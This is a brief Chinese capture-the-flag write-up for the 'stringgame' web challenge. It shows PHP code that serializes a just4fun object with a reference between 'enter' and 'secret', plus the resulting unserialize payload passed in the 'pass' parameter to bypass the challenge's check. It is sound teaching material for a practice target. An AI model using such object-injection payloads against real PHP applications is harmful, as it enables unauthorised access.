xuenixiang_2021_web_stringgame

roger

返回题目，查看源码，发现代码

xuenixiang_2021_web_stringgame

stripslashes() 函数用于删除反斜杠
get_magic_quotes_gpc判断前方是否使用了转义的数据
题目要求序列化过后的字符串并且类中的变量始终保持相同，引用 a=&b

<?php
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());
?>

payload:?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

ps:设计题目的问题,直接让enter和secret相等也行

<?php
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
        $this->enter="*";
        $this->secret="*";
    }
}
echo serialize(new just4fun());
?>